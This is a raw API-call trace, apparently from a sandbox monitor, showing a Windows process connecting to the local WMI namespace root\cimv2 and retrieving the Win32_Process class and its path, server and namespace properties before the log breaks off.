[0105.479] CoGetContextToken (in: pToken=0x1b30c2c0 | out: pToken=0x1b30c2c0) returned 0x0 [0105.479] WbemDefPath:IUnknown:QueryInterface (in: This=0x656db0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c380 | out: ppvObject=0x1b30c380*=0x0) returned 0x80004002 [0105.479] WbemDefPath:IUnknown:Release (This=0x656db0) returned 0x2 [0105.479] WbemDefPath:IUnknown:Release (This=0x656db0) returned 0x1 [0105.479] CoGetContextToken (in: pToken=0x1b30d0b0 | out: pToken=0x1b30d0b0) returned 0x0 [0105.479] CoGetContextToken (in: pToken=0x1b30cfb0 | out: pToken=0x1b30cfb0) returned 0x0 [0105.479] WbemDefPath:IUnknown:QueryInterface (in: This=0x656db0, riid=0x1b30d110*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d0e0 | out: ppvObject=0x1b30d0e0*=0x656db0) returned 0x0 [0105.479] WbemDefPath:IUnknown:AddRef (This=0x656db0) returned 0x3 [0105.479] WbemDefPath:IUnknown:Release (This=0x656db0) returned 0x2 [0105.479] WbemDefPath:IWbemPath:SetText (This=0x656db0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0105.479] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656db0, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0105.479] WbemDefPath:IWbemPath:GetText (in: This=0x656db0, lFlags=4, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0105.479] WbemDefPath:IWbemPath:GetText (in: This=0x656db0, lFlags=4, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0105.479] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0105.479] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0105.479] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0105.479] IUnknown:Release (This=0x6124e8) returned 0x1 [0105.480] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cbc8 | out: ppv=0x1b30cbc8*=0x1b45cd90) returned 0x0 [0105.480] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45cd90, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ccb0 | out: ppvObject=0x1b30ccb0*=0x0) returned 0x80004002 [0105.480] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b45cd90, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc88 | out: ppvObject=0x1b30cc88*=0x1b45cd70) returned 0x0 [0105.480] WbemLocator:IUnknown:Release (This=0x1b45cd90) returned 0x0 [0105.480] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45cd70, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca30 | out: ppvObject=0x1b30ca30*=0x1b45cd70) returned 0x0 [0105.480] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45cd70, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x0) returned 0x80004002 [0105.480] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45cd70, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c2b8 | out: ppvObject=0x1b30c2b8*=0x0) returned 0x80004002 [0105.480] WbemLocator:IUnknown:AddRef (This=0x1b45cd70) returned 0x3 [0105.480] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45cd70, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c178 | out: ppvObject=0x1b30c178*=0x0) returned 0x80004002 [0105.480] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45cd70, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c100 | out: ppvObject=0x1b30c100*=0x0) returned 0x80004002 [0105.480] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45cd70, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0f0 | out: ppvObject=0x1b30c0f0*=0x0) returned 0x80004002 [0105.480] CoGetContextToken (in: pToken=0x1b30c1a0 | out: pToken=0x1b30c1a0) returned 0x0 [0105.480] CoGetContextToken (in: pToken=0x1b30c620 | out: pToken=0x1b30c620) returned 0x0 [0105.480] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45cd70, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6e0 | out: ppvObject=0x1b30c6e0*=0x0) returned 0x80004002 [0105.480] WbemLocator:IUnknown:Release (This=0x1b45cd70) returned 0x2 [0105.480] WbemLocator:IUnknown:Release (This=0x1b45cd70) returned 0x1 [0105.480] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0105.480] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0105.481] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45cd70, riid=0x1b30d0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b45cd70) returned 0x0 [0105.481] WbemLocator:IUnknown:AddRef (This=0x1b45cd70) returned 0x3 [0105.481] WbemLocator:IUnknown:Release (This=0x1b45cd70) returned 0x2 [0105.481] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656db0, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0105.481] WbemDefPath:IWbemPath:GetText (in: This=0x656db0, lFlags=8, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0105.481] WbemDefPath:IWbemPath:GetText (in: This=0x656db0, lFlags=8, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0105.481] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d100 | out: ppv=0x1b30d100*=0x1b45cf30) returned 0x0 [0105.481] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b45cf30, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d348 | out: ppNamespace=0x1b30d348*=0x63b6f0) returned 0x0 [0105.589] WbemLocator:IUnknown:QueryInterface (in: This=0x63b6f0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf78 | out: ppvObject=0x1b30cf78*=0x5f49d0) returned 0x0 [0105.589] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x5f49d0, pProxy=0x63b6f0, pAuthnSvc=0x1b30d040, pAuthzSvc=0x1b30cfc0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4, pImpLevel=0x1b30cfd0, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4 | out: pAuthnSvc=0x1b30d040*=0xa, pAuthzSvc=0x1b30cfc0*=0x0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4*=0x6, pImpLevel=0x1b30cfd0*=0x2, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4*=0x1) returned 0x0 [0105.589] WbemLocator:IUnknown:Release (This=0x5f49d0) returned 0x1 [0105.589] WbemLocator:IUnknown:QueryInterface (in: This=0x63b6f0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf10 | out: ppvObject=0x1b30cf10*=0x5f4a18) returned 0x0 [0105.589] WbemLocator:IUnknown:QueryInterface (in: This=0x63b6f0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf20 | out: ppvObject=0x1b30cf20*=0x5f49d0) returned 0x0 [0105.589] WbemLocator:IClientSecurity:SetBlanket (This=0x5f49d0, pProxy=0x63b6f0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0105.589] WbemLocator:IUnknown:Release (This=0x5f49d0) returned 0x2 [0105.589] WbemLocator:IUnknown:Release (This=0x5f4a18) returned 0x1 [0105.589] CoTaskMemFree (pv=0x1b461460) [0105.590] WbemLocator:IUnknown:Release (This=0x1b45cf30) returned 0x0 [0105.590] WbemLocator:IUnknown:QueryInterface (in: This=0x63b6f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca10 | out: ppvObject=0x1b30ca10*=0x5f4a18) returned 0x0 [0105.590] WbemLocator:IUnknown:QueryInterface (in: This=0x5f4a18, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x0) returned 0x80004002 [0105.626] WbemLocator:IUnknown:QueryInterface (in: This=0x5f4a18, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x0) returned 0x80004002 [0105.661] WbemLocator:IUnknown:QueryInterface (in: This=0x63b6f0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c298 | out: ppvObject=0x1b30c298*=0x0) returned 0x80004002 [0105.662] WbemLocator:IUnknown:AddRef (This=0x5f4a18) returned 0x3 [0105.662] WbemLocator:IUnknown:QueryInterface (in: This=0x5f4a18, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c158 | out: ppvObject=0x1b30c158*=0x0) returned 0x80004002 [0105.662] WbemLocator:IUnknown:QueryInterface (in: This=0x5f4a18, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c0e0 | out: ppvObject=0x1b30c0e0*=0x0) returned 0x80004002 [0105.662] WbemLocator:IUnknown:QueryInterface (in: This=0x5f4a18, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0d0 | out: ppvObject=0x1b30c0d0*=0x5f48f8) returned 0x0 [0105.662] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x5f48f8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c0f8 | out: pCid=0x1b30c0f8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0105.662] WbemLocator:IUnknown:Release (This=0x5f48f8) returned 0x3 [0105.662] CoGetContextToken (in: pToken=0x1b30c180 | out: pToken=0x1b30c180) returned 0x0 [0105.662] CoGetContextToken (in: pToken=0x1b30c600 | out: pToken=0x1b30c600) returned 0x0 [0105.663] WbemLocator:IUnknown:QueryInterface (in: This=0x5f4a18, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x5f49e0) returned 0x0 [0105.663] WbemLocator:IRpcOptions:Query (in: This=0x5f49e0, pPrx=0x5f4a18, dwProperty=2, pdwValue=0x1b30c6b0 | out: pdwValue=0x1b30c6b0) returned 0x80004002 [0105.663] WbemLocator:IUnknown:Release (This=0x5f49e0) returned 0x3 [0105.663] WbemLocator:IUnknown:Release (This=0x5f4a18) returned 0x2 [0105.663] CoGetContextToken (in: pToken=0x1b30ccc0 | out: pToken=0x1b30ccc0) returned 0x0 [0105.663] CoGetContextToken (in: pToken=0x1b30cbc0 | out: pToken=0x1b30cbc0) returned 0x0 [0105.663] WbemLocator:IUnknown:QueryInterface (in: This=0x5f4a18, riid=0x1b30cd20*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30ccf0 | out: ppvObject=0x1b30ccf0*=0x63b6f0) returned 0x0 [0105.663] WbemLocator:IUnknown:AddRef (This=0x63b6f0) returned 0x4 [0105.663] WbemLocator:IUnknown:Release (This=0x63b6f0) returned 0x3 [0105.663] WbemLocator:IUnknown:Release (This=0x63b6f0) returned 0x2 [0105.663] SysStringLen (param_1=0x0) returned 0x0 [0105.663] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656db0, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0105.663] WbemDefPath:IWbemPath:GetText (in: This=0x656db0, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0105.663] WbemDefPath:IWbemPath:GetText (in: This=0x656db0, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0105.663] CoGetContextToken (in: pToken=0x1b30cde0 | out: pToken=0x1b30cde0) returned 0x0 [0105.663] WbemLocator:IUnknown:AddRef (This=0x5f4a18) returned 0x3 [0105.663] WbemLocator:IUnknown:QueryInterface (in: This=0x5f4a18, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cde0 | out: ppvObject=0x1b30cde0*=0x5f4a18) returned 0x0 [0105.664] WbemLocator:IUnknown:Release (This=0x5f4a18) returned 0x3 [0105.664] WbemLocator:IUnknown:Release (This=0x5f4a18) returned 0x2 [0105.664] WbemDefPath:IWbemPath:GetText (in: This=0x655a30, lFlags=2, puBuffLength=0x1b30d4e0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4e0*=0xe, pszText=0x0) returned 0x0 [0105.664] WbemDefPath:IWbemPath:GetText (in: This=0x655a30, lFlags=2, puBuffLength=0x1b30d4e0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d4e0*=0xe, pszText="Win32_Process") returned 0x0 [0105.664] IWbemServices:GetObject (in: This=0x63b6f0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d460*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d460*=0x1b4a0dc0, ppCallResult=0x0) returned 0x0 [0105.694] IWbemClassObject:Get (in: This=0x1b4a0dc0, wszName="__PATH", lFlags=0, pVal=0x1b30d3f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d558*=0, plFlavor=0x1b30d550*=0 | out: pVal=0x1b30d3f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b30d558*=8, plFlavor=0x1b30d550*=64) returned 0x0 [0105.694] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0105.694] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0105.694] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d428 | out: ppv=0x1b30d428*=0x6124e8) returned 0x0 [0105.695] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d418 | out: pAptType=0x1b30d418*=1) returned 0x0 [0105.695] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d420 | out: ppvObject=0x1b30d420*=0x0) returned 0x80004002 [0105.695] IUnknown:Release (This=0x6124e8) returned 0x1 [0105.695] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c818 | out: ppv=0x1b30c818*=0x1b45cd30) returned 0x0 [0105.696] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45cd30, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c900 | out: ppvObject=0x1b30c900*=0x0) returned 0x80004002 [0105.696] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45cd30, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8d8 | out: ppvObject=0x1b30c8d8*=0x656270) returned 0x0 [0105.696] WbemDefPath:IUnknown:Release (This=0x1b45cd30) returned 0x0 [0105.696] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c680 | out: ppvObject=0x1b30c680*=0x656270) returned 0x0 [0105.696] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c710 | out: ppvObject=0x1b30c710*=0x0) returned 0x80004002 [0105.696] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf08 | out: ppvObject=0x1b30bf08*=0x0) returned 0x80004002 [0105.696] WbemDefPath:IUnknown:AddRef (This=0x656270) returned 0x3 [0105.696] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdc8 | out: ppvObject=0x1b30bdc8*=0x0) returned 0x80004002 [0105.696] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd50 | out: ppvObject=0x1b30bd50*=0x0) returned 0x80004002 [0105.696] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x1b45cd90) returned 0x0 [0105.697] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45cd90, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd68 | out: pCid=0x1b30bd68*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0105.697] WbemDefPath:IUnknown:Release (This=0x1b45cd90) returned 0x3 [0105.697] CoGetContextToken (in: pToken=0x1b30bdf0 | out: pToken=0x1b30bdf0) returned 0x0 [0105.697] CoGetContextToken (in: pToken=0x1b30c270 | out: pToken=0x1b30c270) returned 0x0 [0105.697] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c330 | out: ppvObject=0x1b30c330*=0x0) returned 0x80004002 [0105.697] WbemDefPath:IUnknown:Release (This=0x656270) returned 0x2 [0105.697] WbemDefPath:IUnknown:Release (This=0x656270) returned 0x1 [0105.697] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0105.697] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0105.697] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x1b30d0c0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x656270) returned 0x0 [0105.697] WbemDefPath:IUnknown:AddRef (This=0x656270) returned 0x3 [0105.697] WbemDefPath:IUnknown:Release (This=0x656270) returned 0x2 [0105.697] WbemDefPath:IWbemPath:SetText (This=0x656270, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0105.697] IWbemClassObject:Get (in: This=0x1b4a0dc0, wszName="__SERVER", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=0, plFlavor=0x1b30d608*=0 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XC64ZB", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0105.698] SysStringByteLen (bstr="XC64ZB") returned 0xc [0105.698] SysStringByteLen (bstr="XC64ZB") returned 0xc [0105.698] IWbemClassObject:Get (in: This=0x1b4a0dc0, wszName="__NAMESPACE", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 